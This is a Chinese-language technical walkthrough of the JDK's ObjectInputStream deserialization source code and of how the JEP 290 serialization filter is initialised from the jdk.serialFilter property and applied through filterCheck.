1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 public ObjectInputStream (InputStream in) throws IOException { verifySubclass(); bin = new BlockDataInputStream (in); handles = new HandleTable (10 ); vlist = new ValidationList (); serialFilter = ObjectInputFilter.Config.getSerialFilter(); enableOverride = false ; readStreamHeader(); bin.setBlockDataMode(true ); }
和 ObjectOutputStream 的构造方法一样——在该构造函数的开始,首先会调用 verifySubclass 方法处理缓存信息,要求该类(或子类)进行验证——验证是否可以在不违反安全约束的情况下构造此实例。
然后和 ObjectOutputStream 不同的是,在 ObjectOutputStream 中我们初始化的对象是 bout、handles、subs 以及 enableOverride,但是在 ObjectInputStream 中,我们初始化的对象变成了 bin、handles、vlist 以及 enableOverride。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 bin = new BlockDataInputStream (in); handles = new HandleTable (10 ); vlist = new ValidationList (); serialFilter = ObjectInputFilter.Config.getSerialFilter(); enableOverride = false ;
在几个成员属性都被初始化后,调用 readStreamHeader() 方法先验证魔数和序列化的版本是否匹配。
如果不匹配则抛出序列化的 StreamCorruptedMismatch 异常:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected void readStreamHeader () throws IOException, StreamCorruptedException { short s0 = bin.readShort(); short s1 = bin.readShort(); if (s0 != STREAM_MAGIC || s1 != STREAM_VERSION) { throw new StreamCorruptedException ( String.format("invalid stream header: %04X%04X" , s0, s1)); } }
readObject 反序列化 当 ObjectInputStream 的 public 构造方法走完后,才会调用 readObject() 开始写对象数据,该方法的主要代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 public final Object readObject () throws IOException, ClassNotFoundException { if (enableOverride) { return readObjectOverride(); } int outerHandle = passHandle; try { Object obj = readObject0(false ); handles.markDependency(outerHandle, passHandle); ClassNotFoundException ex = handles.lookupException(passHandle); if (ex != null ) { throw ex; } if (depth == 0 ) { vlist.doCallbacks(); } return obj; } finally { passHandle = outerHandle; if (closed && depth == 0 ) { clear(); } } }
这个方法是ObjectInputStream对外的反序列化的入口,但其实它并不是核心方法,只是用于判断应该调用 readObjectOverride 还是 readObject0 方法(enableOverride 决定)
readObject0 由于在 ObjectInputStream 的 public 构造方法中已经初始化了 enableOverride = false,所以直接跳过第一个if分支(不调用 readObjectOverride 方法),进入 readObject0 方法,该方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 private Object readObject0 (boolean unshared) throws IOException { boolean oldMode = bin.getBlockDataMode(); if (oldMode) { int remain = bin.currentBlockRemaining(); if (remain > 0 ) { throw new OptionalDataException (remain); } else if (defaultDataEnd) { throw new OptionalDataException (true ); } bin.setBlockDataMode(false ); } byte tc; while ((tc = bin.peekByte()) == TC_RESET) { bin.readByte(); handleReset(); } depth++; totalObjectRefs++; try { switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: { IOException ex = readFatalException(); throw new WriteAbortedException ("writing aborted" , ex); } case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true ); bin.peek(); throw new OptionalDataException (bin.currentBlockRemaining()); } else { throw new StreamCorruptedException ("unexpected block data" ); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException (true ); } else { throw new StreamCorruptedException ("unexpected end of block data" ); } default : throw new StreamCorruptedException ( String.format("invalid type code: %02X" , tc)); } } finally { depth--; bin.setBlockDataMode(oldMode); } }
在 readObject0 最开始的地方会先检查当前是否是 Data Block 模式读取:
1 2 3 4 5 6 7 8 boolean oldMode = bin.getBlockDataMode();if (oldMode) { }
如果检测的结果是 Data Block 模式,则满足下面两种情况之一则抛出 java.io.OptionalDataException 异常信息。
字节流中剩余的字节数量 currentBlockRemaining 大于 0,也就是你当前还在块里,而且还有字节没读完 。
defaultDataEnd 的值为 true,也就是虽然块里的字节已经读完了,但因为写入端没有明确写 TC_ENDBLOCKDATA ,所以我(读取端)需要**主动抛一个 OptionalDataException(eof=true)**,告诉你‘块已经结束了’。
也就是说这里的意思是你还处在“块数据模式”中,不能直接读取对象(结构化数据),必须先处理完块数据或者正确结束块。否则我抛 OptionalDataException 提醒你怎么做 。
经过这些判断后,会在 if 分支的最后关闭 Data Block 模式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 boolean oldMode = bin.getBlockDataMode();if (oldMode) { int remain = bin.currentBlockRemaining(); if (remain > 0 ) { throw new OptionalDataException (remain); } else if (defaultDataEnd) { throw new OptionalDataException (true ); } bin.setBlockDataMode(false ); }
之后针对不同类型的反序列化数据,会进入不同的分支进行反序列化。对于对象类型进入的是 readOrdinaryObject 函数进行反序列化。
1 2 3 case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared));
readOrdinaryObject 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 private Object readOrdinaryObject (boolean unshared) throws IOException { if (bin.readByte() != TC_OBJECT) { throw new InternalError (); } ObjectStreamClass desc = readClassDesc(false ); desc.checkDeserialize(); Class<?> cl = desc.forClass(); if (cl == String.class || cl == Class.class || cl == ObjectStreamClass.class) { throw new InvalidClassException ("invalid class descriptor" ); } Object obj; try { obj = desc.isInstantiable() ? desc.newInstance() : null ; } catch (Exception ex) { throw (IOException) new InvalidClassException ( desc.forClass().getName(), "unable to create instance" ).initCause(ex); } passHandle = handles.assign(unshared ? unsharedMarker : obj); ClassNotFoundException resolveEx = desc.getResolveException(); if (resolveEx != null ) { handles.markException(passHandle, resolveEx); } if (desc.isExternalizable()) { readExternalData((Externalizable) obj, desc); } else { readSerialData(obj, desc); } handles.finish(passHandle); if (obj != null && handles.lookupException(passHandle) == null && desc.hasReadResolveMethod()) { Object rep = desc.invokeReadResolve(obj); if (unshared && rep.getClass().isArray()) { rep = cloneArray(rep); } if (rep != obj) { if (rep != null ) { if (rep.getClass().isArray()) { filterCheck(rep.getClass(), Array.getLength(rep)); } else { filterCheck(rep.getClass(), -1 ); } } handles.setObject(passHandle, obj = rep); } } return obj; }
首先会再次判断读到的标识是不是 TC_OBJECT,如果不是,那么直接抛出 InternalError 错误。
1 2 3 4 if (bin.readByte() != TC_OBJECT) { throw new InternalError (); }
之后调用 readClassDesc 函数系统中读取当前 Java 对象所属类的描述信息。在这个过程中会完成本地类加载,并且 JEP290 也是在这一步进行检查的。
1 2 ObjectStreamClass desc = readClassDesc(false );
然后和序列化开始时类似,同样检测当前处理的对象是否是一个可反序列化的对象(checkDeserialize()),如果是,那么就从中读取当前 Java 对象所属类。
1 2 3 4 desc.checkDeserialize(); Class<?> cl = desc.forClass();
紧接着是“协议一致性保护” ——这些类型不应该出现在普通对象路径里 ,若出现说明编码/协议有误(例如手工构造了非法流)。
1 2 3 if (cl == String.class || cl == Class.class || cl == ObjectStreamClass.class) { throw new InvalidClassException ("invalid class descriptor" ); }
然后这一段使用了 ObjectStreamClass 的方法 newInstance() 创建类的实例。并且为当前构建的对象分配一个句柄(handle),并记录在 passHandle 中
1 2 3 4 5 6 7 8 9 Object obj; try { obj = desc.isInstantiable() ? desc.newInstance() : null ; } catch (Exception ex) { throw (IOException) new InvalidClassException ( desc.forClass().getName(), "unable to create instance" ).initCause(ex); } passHandle = handles.assign(unshared ? unsharedMarker : obj);
如果在 desc.forClass() 阶段遇到了 ClassNotFoundException,这里将它挂在句柄上;稍后如果有其它对象依赖此句柄,会一起抛出 WriteAbortedException。
1 2 3 4 ClassNotFoundException resolveEx = desc.getResolveException();if (resolveEx != null ) { handles.markException(passHandle, resolveEx); }
若对象是 Externalizable,直接调用 readExternal()(需读块数据);否则按 ObjectStreamClass 的类层级,自上而下读取:
若某一层有 readObject(),进入块模式、调用该方法
否则默认读取该层字段(primitive + object)
1 2 3 4 5 if (desc.isExternalizable()) { readExternalData((Externalizable) obj, desc); } else { readSerialData(obj, desc); }
将 passHandle 状态从 READING → OK 允许后续的 TC_REFERENCE 安全回引,同时触发依赖当前句柄的等待者的状态更新(用于异常传播/校验依赖)。
1 handles.finish(passHandle);
若定义了 private Object readResolve() 方法,会被调用,用于替换成枚举常量、缓存实例、代理对象等。如单例类在反序列化后替换回原始单例对象。
1 2 3 4 5 if (obj != null && handles.lookupException(passHandle) == null && desc.hasReadResolveMethod()) { Object rep = desc.invokeReadResolve(obj);
如果是 readUnshared() 路径 + 替代对象是数组,那么数组要做 clone(),避免共享引用。
1 2 3 if (unshared && rep.getClass().isArray()) { rep = cloneArray(rep); }
如果 readResolve 返回的不是原对象(说明替换了),且开启了 ObjectInputFilter,则执行安全策略检查。
1 2 3 4 5 6 7 8 9 10 if (rep != obj) { if (rep != null ) { if (rep.getClass().isArray()) { filterCheck(rep.getClass(), Array.getLength(rep)); } else { filterCheck(rep.getClass(), -1 ); } } handles.setObject(passHandle, obj = rep); }
readClassDesc readClassDesc 根据数据类型调用对应的函数读取类描述信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 private ObjectStreamClass readClassDesc (boolean unshared) throws IOException { byte tc = bin.peekByte(); ObjectStreamClass descriptor; switch (tc) { case TC_NULL: descriptor = (ObjectStreamClass) readNull(); break ; case TC_REFERENCE: descriptor = (ObjectStreamClass) readHandle(unshared); break ; case TC_PROXYCLASSDESC: descriptor = readProxyDesc(unshared); break ; case TC_CLASSDESC: descriptor = readNonProxyDesc(unshared); break ; default : throw new StreamCorruptedException ( String.format("invalid type code: %02X" , tc)); } if (descriptor != null ) { validateDescriptor(descriptor); } return descriptor; }
这里读取类描述信息的过程跟之前序列化过程相反,主要是根据序列化数据中的类描述信息创建一个 ObjectStreamClass 返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 private Object readNull () throws IOException { if (bin.readByte() != TC_NULL) { throw new InternalError (); } passHandle = NULL_HANDLE; return null ; } private Object readHandle (boolean unshared) throws IOException { if (bin.readByte() != TC_REFERENCE) { throw new InternalError (); } passHandle = bin.readInt() - baseWireHandle; if (passHandle < 0 || passHandle >= handles.size()) { throw new StreamCorruptedException ( String.format("invalid handle value: %08X" , passHandle + baseWireHandle)); } if (unshared) { throw new InvalidObjectException ("cannot read back reference as unshared" ); } Object obj = handles.lookupObject(passHandle); if (obj == unsharedMarker) { throw new InvalidObjectException ("cannot read back reference to unshared object" ); } filterCheck(null , -1 ); return obj; } private ObjectStreamClass readProxyDesc (boolean unshared) throws IOException { if (bin.readByte() != TC_PROXYCLASSDESC) { throw new InternalError (); } ObjectStreamClass desc = new ObjectStreamClass (); int descHandle = handles.assign(unshared ? unsharedMarker : desc); passHandle = NULL_HANDLE; int numIfaces = bin.readInt(); if (numIfaces > 65535 ) { throw new InvalidObjectException ("interface limit exceeded: " + numIfaces); } String[] ifaces = new String [numIfaces]; for (int i = 0 ; i < numIfaces; i++) { ifaces[i] = bin.readUTF(); } Class<?> cl = null ; ClassNotFoundException resolveEx = null ; bin.setBlockDataMode(true ); try { if ((cl = resolveProxyClass(ifaces)) == null ) { resolveEx = new ClassNotFoundException ("null class" ); } else if (!Proxy.isProxyClass(cl)) { throw new InvalidClassException ("Not a proxy" ); } else { ReflectUtil.checkProxyPackageAccess(getClass().getClassLoader(), cl.getInterfaces()); for (Class<?> itf : cl.getInterfaces()) { filterCheck(itf, -1 ); } } } catch (ClassNotFoundException ex) { resolveEx = ex; } filterCheck(cl, -1 ); skipCustomData(); try { totalObjectRefs++; depth++; desc.initProxy(cl, resolveEx, readClassDesc(false )); } finally { depth--; } handles.finish(descHandle); passHandle = descHandle; return desc; } private ObjectStreamClass readNonProxyDesc (boolean unshared) throws IOException { if (bin.readByte() != TC_CLASSDESC) { throw new InternalError (); } ObjectStreamClass desc = new ObjectStreamClass (); int descHandle = handles.assign(unshared ? unsharedMarker : desc); passHandle = NULL_HANDLE; ObjectStreamClass readDesc = null ; try { readDesc = readClassDescriptor(); } catch (ClassNotFoundException ex) { throw (IOException) new InvalidClassException ( "failed to read class descriptor" ).initCause(ex); } Class<?> cl = null ; ClassNotFoundException resolveEx = null ; bin.setBlockDataMode(true ); final boolean checksRequired = isCustomSubclass(); try { if ((cl = resolveClass(readDesc)) == null ) { resolveEx = new ClassNotFoundException ("null class" ); } else if (checksRequired) { ReflectUtil.checkPackageAccess(cl); } } catch (ClassNotFoundException ex) { resolveEx = ex; } filterCheck(cl, -1 ); skipCustomData(); try { totalObjectRefs++; depth++; desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false )); } finally { depth--; } handles.finish(descHandle); passHandle = descHandle; return desc; }
在读取类信息的时候顺带还会尝试从本地加载对应的类。
对于代理类,会根据该代理类实现所有的接口调用 java.lang.reflect.Proxy#getProxyClass 创建对应的类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { ClassLoader latestLoader = latestUserDefinedLoader(); ClassLoader nonPublicLoader = null ; boolean hasNonPublicInterface = false ; Class<?>[] classObjs = new Class <?>[interfaces.length]; for (int i = 0 ; i < interfaces.length; i++) { Class<?> cl = Class.forName(interfaces[i], false , latestLoader); if ((cl.getModifiers() & Modifier.PUBLIC) == 0 ) { if (hasNonPublicInterface) { if (nonPublicLoader != cl.getClassLoader()) { throw new IllegalAccessError ( "conflicting non-public interface class loaders" ); } } else { nonPublicLoader = cl.getClassLoader(); hasNonPublicInterface = true ; } } classObjs[i] = cl; } try { return Proxy.getProxyClass( hasNonPublicInterface ? nonPublicLoader : latestLoader, classObjs); } catch (IllegalArgumentException e) { throw new ClassNotFoundException (null , e); } }
对于普通类,则先调用 readClassDescriptor 获取类相关信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 protected ObjectStreamClass readClassDescriptor () throws IOException, ClassNotFoundException { ObjectStreamClass desc = new ObjectStreamClass (); desc.readNonProxy(this ); return desc; } void readNonProxy (ObjectInputStream in) throws IOException, ClassNotFoundException { name = in.readUTF(); suid = Long.valueOf(in.readLong()); isProxy = false ; byte flags = in.readByte(); hasWriteObjectData = ((flags & ObjectStreamConstants.SC_WRITE_METHOD) != 0 ); hasBlockExternalData = ((flags & ObjectStreamConstants.SC_BLOCK_DATA) != 0 ); externalizable = ((flags & ObjectStreamConstants.SC_EXTERNALIZABLE) != 0 ); boolean sflag = ((flags & ObjectStreamConstants.SC_SERIALIZABLE) != 0 ); if (externalizable && sflag) { throw new InvalidClassException ( name, "serializable and externalizable flags conflict" ); } serializable = externalizable || sflag; isEnum = ((flags & ObjectStreamConstants.SC_ENUM) != 0 ); if (isEnum && suid.longValue() != 0L ) { throw new InvalidClassException ( name, "enum descriptor has non-zero serialVersionUID: " + suid); } int numFields = in.readShort(); if (isEnum && numFields != 0 ) { throw new InvalidClassException ( name, "enum descriptor has non-zero field count: " + numFields); } fields = (numFields > 0 ) ? new ObjectStreamField [numFields] : NO_FIELDS; for (int i = 0 ; i < numFields; i++) { char tcode = (char ) in.readByte(); String fname = in.readUTF(); String signature = ((tcode == 'L' ) || (tcode == '[' )) ? in.readTypeString() : new String (new char []{ tcode }); try { fields[i] = new ObjectStreamField (fname, signature, false ); } catch (RuntimeException e) { throw (IOException) new InvalidClassException ( name, "invalid descriptor for field " + fname).initCause(e); } } computeFieldOffsets(); }
之后调用 resolveClass 根据前面读取类信息实例化的 ObjectStreamClass 从本地加载类。注意这里 Class.forName 的 initialize 参数为 false 因此不会执行静态代码块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); try { return Class.forName(name, false , latestUserDefinedLoader()); } catch (ClassNotFoundException ex) { Class<?> cl = primClasses.get(name); if (cl != null ) { return cl; } else { throw ex; } } }
在前面完成类信息的读取以及类加载之后,都会调用 filterCheck 对加载的类进行检查,这个函数实际上就是 JEP290 的过滤函数。
该函数会调用全局默认过滤器 java.io.ObjectInputStream.serialFilter 的 checkInput 函数进行过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 private void filterCheck (Class<?> clazz, int arrayLength) throws InvalidClassException { if (serialFilter != null ) { RuntimeException ex = null ; ObjectInputFilter.Status status; long bytesRead = (bin == null ) ? 0 : bin.getBytesRead(); try { status = serialFilter.checkInput( new FilterValues (clazz, arrayLength, totalObjectRefs, depth, bytesRead)); } catch (RuntimeException e) { status = ObjectInputFilter.Status.REJECTED; ex = e; } if (status == null || status == ObjectInputFilter.Status.REJECTED) { if (Logging.infoLogger != null ) { Logging.infoLogger.info( "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}" , status, clazz, arrayLength, totalObjectRefs, depth, bytesRead, Objects.toString(ex, "n/a" )); } InvalidClassException ice = new InvalidClassException ("filter status: " + status); ice.initCause(ex); throw ice; } else { if (Logging.traceLogger != null ) { Logging.traceLogger.finer( "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}" , status, clazz, arrayLength, totalObjectRefs, depth, bytesRead, Objects.toString(ex, "n/a" )); } } } }
在结束了反序列化内容检测后,会调用 skipCustomData 把当前“自定义数据区”(custom data)里的一切都吃掉,直到读到 TC_ENDBLOCKDATA 为止 ——不管里面是纯块数据,还是中间夹了对象/数组/字符串之类的结构化东西。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 private void skipCustomData () throws IOException { int oldHandle = passHandle; for (;;) { if (bin.getBlockDataMode()) { bin.skipBlockData(); bin.setBlockDataMode(false ); } switch (bin.peekByte()) { case TC_BLOCKDATA: case TC_BLOCKDATALONG: bin.setBlockDataMode(true ); break ; case TC_ENDBLOCKDATA: bin.readByte(); passHandle = oldHandle; return ; default : readObject0(false ); break ; } } }
接着,会调用 ObjectStreamClass 中的 initNonProxy 方法,在这个方法里会初始化表示非代理类的类描述符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 void initNonProxy (ObjectStreamClass model, Class<?> cl, ClassNotFoundException resolveEx, ObjectStreamClass superDesc) throws InvalidClassException { long suid = Long.valueOf(model.getSerialVersionUID()); ObjectStreamClass osc = null ; if (cl != null ) { osc = lookup(cl, true ); if (osc.isProxy) { throw new InvalidClassException ( "cannot bind non-proxy descriptor to a proxy class" ); } if (model.isEnum != osc.isEnum) { throw new InvalidClassException ( model.isEnum ? "cannot bind enum descriptor to a non-enum class" : "cannot bind non-enum descriptor to an enum class" ); } if (model.serializable == osc.serializable && !cl.isArray() && suid != osc.getSerialVersionUID()) { throw new InvalidClassException ( osc.name, "local class incompatible: " + "stream classdesc serialVersionUID = " + suid + ", local class serialVersionUID = " + osc.getSerialVersionUID()); } if (!classNamesEqual(model.name, osc.name)) { throw new InvalidClassException ( osc.name, "local class name incompatible with stream class " + "name \"" + model.name + "\"" ); } if (!model.isEnum) { if ((model.serializable == osc.serializable) && (model.externalizable != osc.externalizable)) { throw new InvalidClassException ( osc.name, "Serializable incompatible with Externalizable" ); } if ((model.serializable != osc.serializable) || (model.externalizable != osc.externalizable) || !(model.serializable || model.externalizable)) { deserializeEx = new ExceptionInfo ( osc.name, "class invalid for deserialization" ); } } } this .cl = cl; this .resolveEx = resolveEx; this .superDesc = superDesc; name = model.name; this .suid = suid; isProxy = false ; isEnum = model.isEnum; serializable = model.serializable; externalizable = model.externalizable; hasBlockExternalData = model.hasBlockExternalData; hasWriteObjectData = model.hasWriteObjectData; fields = model.fields; primDataSize = model.primDataSize; numObjFields = model.numObjFields; if (osc != null ) { localDesc = osc; writeObjectMethod = localDesc.writeObjectMethod; readObjectMethod = localDesc.readObjectMethod; readObjectNoDataMethod = localDesc.readObjectNoDataMethod; writeReplaceMethod = localDesc.writeReplaceMethod; readResolveMethod = localDesc.readResolveMethod; if (deserializeEx == null ) { deserializeEx = localDesc.deserializeEx; } domains = localDesc.domains; cons = localDesc.cons; } fieldRefl = getReflector(fields, localDesc); fields = fieldRefl.getFields(); initialized = true ; }
初始化完毕后会调用 handles 的 finish 方法完成引用 Handle 的赋值操作:
1 2 3 4 handles.finish(descHandle); passHandle = descHandle; return desc;
readExternalData 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 private void readExternalData (Externalizable obj, ObjectStreamClass desc) throws IOException { SerialCallbackContext oldContext = curContext; if (oldContext != null ) { oldContext.check(); } curContext = null ; try { boolean blocked = desc.hasBlockExternalData(); if (blocked) { bin.setBlockDataMode(true ); } if (obj != null ) { try { obj.readExternal(this ); } catch (ClassNotFoundException ex) { handles.markException(passHandle, ex); } } if (blocked) { skipCustomData(); } } finally { if (oldContext != null ) { oldContext.check(); } curContext = oldContext; } }
readSerialData 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 private void readSerialData (Object obj, ObjectStreamClass desc) throws IOException { ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout(); for (int i = 0 ; i < slots.length; i++) { ObjectStreamClass slotDesc = slots[i].desc; if (slots[i].hasData) { if (obj == null || handles.lookupException(passHandle) != null ) { defaultReadFields(null , slotDesc); } else if (slotDesc.hasReadObjectMethod()) { ThreadDeath t = null ; boolean reset = false ; SerialCallbackContext oldContext = curContext; if (oldContext != null ) oldContext.check(); try { curContext = new SerialCallbackContext (obj, slotDesc); bin.setBlockDataMode(true ); slotDesc.invokeReadObject(obj, this ); } catch (ClassNotFoundException ex) { handles.markException(passHandle, ex); } finally { do { try { curContext.setUsed(); if (oldContext != null ) oldContext.check(); curContext = oldContext; reset = true ; } catch (ThreadDeath x) { t = x; } } while (!reset); if (t != null ) throw t; } defaultDataEnd = false ; } else { defaultReadFields(obj, slotDesc); } if (slotDesc.hasWriteObjectData()) { skipCustomData(); } else { bin.setBlockDataMode(false ); } } else { if (obj != null && slotDesc.hasReadObjectNoDataMethod() && handles.lookupException(passHandle) == null ) { slotDesc.invokeReadObjectNoData(obj); } } } }
反序列化检测与绕过 JEP290 JEP 290 是 Java 中非常重要的一个安全增强提案,主要用于 增强 Java 反序列化的安全性控制 。它在 Java 9 中引入,核心思想是 为反序列化过程增加“白名单”机制 ,防止反序列化任意类造成的远程代码执行(RCE)等安全问题。
JEP 290: Filter Incoming Serialization Data
JEP 290:过滤传入的序列化数据
Allow incoming streams of object-serialization data to be filtered in order to improve both security and robustness.
允许对传入的对象序列化数据流进行过滤,以提升安全性与健壮性。
虽然这个提案是在 Java9 提出的,但在 JDK6、7、8 的高版本中也引入了这个机制(JDK8u121、JDK7u131、JDK6u141)。
根据官方的描述,核心机制在于一个可以被用户实现的 filter 接口,作为 ObjectInputStream 的一个属性,反序列化时会触发接口的方法,对序列化类进行合法性检查。每个对象在被实例化和反序列化之前,过滤器都会被调用,除去 Java 的基本类型和 java.lang.String(若过滤器未设置,默认使用全局过滤器)。此外,针对 RMI,用于导出远程对象的 UnicastServerRef 中的 MarshalInputStream 也设置了过滤器,用于验证方法参数的合法性。
检测原理 原生反序列化的入口在 ObjectInputStream#readObject,在这里设置过滤器再合适不过。JEP 290 在 ObjectInputStream 类中增加了一个 serialFilter 属性和一个 filterCheck 方法。
全局默认过滤器 初始化 serialFilter ObjectInputStream 的构造方法初始化了 serialFilter。
1 2 3 4 5 6 7 8 9 10 11 private ObjectInputFilter serialFilter;public ObjectInputStream (InputStream in) throws IOException { serialFilter = ObjectInputFilter.Config.getSerialFilter(); }
Config 是 sun.misc.ObjectInputFilter 这个接口的一个静态内部类,getSerialFilter 返回 Config 的静态字段 serialFilter。
1 2 3 4 5 6 7 8 9 10 11 12 13 public static ObjectInputFilter getSerialFilter () { synchronized (serialFilterLock) { return serialFilter; } }
这个静态字段在 Config 的静态代码块中进行初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 private final static String SERIAL_FILTER_PROPNAME = "jdk.serialFilter" ;private final static ObjectInputFilter configuredFilter;static { configuredFilter = AccessController .doPrivileged((PrivilegedAction<ObjectInputFilter>) () -> { String props = System.getProperty(SERIAL_FILTER_PROPNAME); if (props == null ) { props = Security.getProperty(SERIAL_FILTER_PROPNAME); } if (props != null ) { System.Logger log = System.getLogger("java.io.serialization" ); log.log(System.Logger.Level.INFO, "Creating serialization filter from {0}" , props); try { return createFilter(props); } catch (RuntimeException re) { log.log(System.Logger.Level.ERROR, "Error configuring filter: {0}" , re); } } return null ; }); configLog = (configuredFilter != null ) ? System.getLogger("java.io.serialization" ) : null ; } private static ObjectInputFilter serialFilter = configuredFilter;
这段代码的逻辑是先 System.getProperty("jdk.serialFilter"),再 Security.getProperty("jdk.serialFilter");前者存在则覆盖后者。因为默认情况下两者皆为空因此全局过滤器默认为 null。
若有设置这两个全局属性,才会调用 createFilter 函数根据 jdk.serialFilter 属性预先设置的字符串构造序列化过滤器 serialFilter。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public static ObjectInputFilter createFilter (String pattern) { Objects.requireNonNull(pattern, "pattern" ); return Global.createFilter(pattern); }
